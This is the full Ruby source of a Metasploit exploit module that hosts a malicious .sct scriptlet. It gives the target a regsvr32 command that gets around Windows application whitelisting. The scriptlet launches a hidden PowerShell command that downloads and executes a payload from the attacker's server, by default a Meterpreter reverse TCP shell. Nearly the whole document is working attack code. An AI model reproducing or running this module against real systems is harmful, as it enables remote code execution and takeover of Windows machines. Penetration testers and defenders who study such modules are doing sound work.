Regsvr32.exe (.sct) Application Whitelisting Bypass Server

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Powershell  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Server',  
'Description' => %q(  
This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.  
The module creates a web server that hosts an .sct file. When the user types the provided regsvr32  
command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.  
This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).  
Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)  
'Trenton Ivey', # MSF Module (kn0)  
],  
'DefaultOptions' =>  
{  
'Payload' => 'windows/meterpreter/reverse_tcp'  
},  
'Targets' => [['PSH', {}]],  
'Platform' => %w(win),  
'Arch' => [ARCH_X86, ARCH_X86_64],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 19 2016',  
'References' =>  
[  
['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html']  
]  
))  
end  
  
  
def primer  
print_status('Run the following command on the target machine:')  
print_line("regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll")  
end  
  
  
def on_request_uri(cli, _request)  
# If the resource request ends with '.sct', serve the .sct file  
# Otherwise, serve the PowerShell payload  
if _request.raw_uri =~ /\.sct$/  
serve_sct_file  
else  
serve_psh_payload  
end  
end  
  
  
def serve_sct_file  
print_status("Handling request for the .sct file from #{cli.peerhost}")  
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl  
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)  
download_and_run = "#{ignore_cert}#{download_string}"  
psh_command = generate_psh_command_line(  
noprofile: true,  
windowstyle: 'hidden',  
command: download_and_run  
)  
data = gen_sct_file(psh_command)  
send_response(cli, data, 'Content-Type' => 'text/plain')  
end  
  
  
def serve_psh_payload  
print_status("Delivering payload to #{cli.peerhost}")  
data = cmd_psh_payload(payload.encoded,  
payload_instance.arch.first,  
remove_comspec: true,  
use_single_quotes: true  
)  
send_response(cli,data,'Content-Type' => 'application/octet-stream')  
end  
  
  
def rand_class_id  
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"  
end  
  
def gen_sct_file(command)  
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}  
end  
  
end  
`